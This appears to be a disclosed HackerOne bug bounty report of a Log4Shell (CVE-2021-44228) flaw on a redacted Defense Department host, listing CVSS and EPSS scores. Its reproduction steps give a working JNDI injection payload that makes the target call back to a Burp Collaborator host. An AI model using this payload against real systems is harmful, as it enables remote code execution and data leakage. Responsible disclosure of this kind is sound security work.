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hackeroneFkletH1:1624137
HistoryJul 04, 2022 - 2:01 p.m.

U.S. Dept Of Defense: LOGJ4 VUlnerability [HtUS]

2022-07-0414:01:23
fklet
hackerone.com
$1000
20

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.976 High

EPSS

Percentile

100.0%

Description:
Hi team,

log4 shell is recent 0-day exploit it’s Java package vulnerable. █████ is vulnerable

Impact

RCE

System Host(s)

██████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

  1. Go to this url => https://█████/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}
  2. paste the poc code on parameter
  3. Then burp collaborator received reverse ping back
    Photos below

POC CODE
${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}

Suggested Mitigation/Remediation Actions
https://www.lunasec.io/docs/blog/log4j-zero-day/

Impact

Successful attack leads Arbitary Code Execution on the application

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.976 High

EPSS

Percentile

100.0%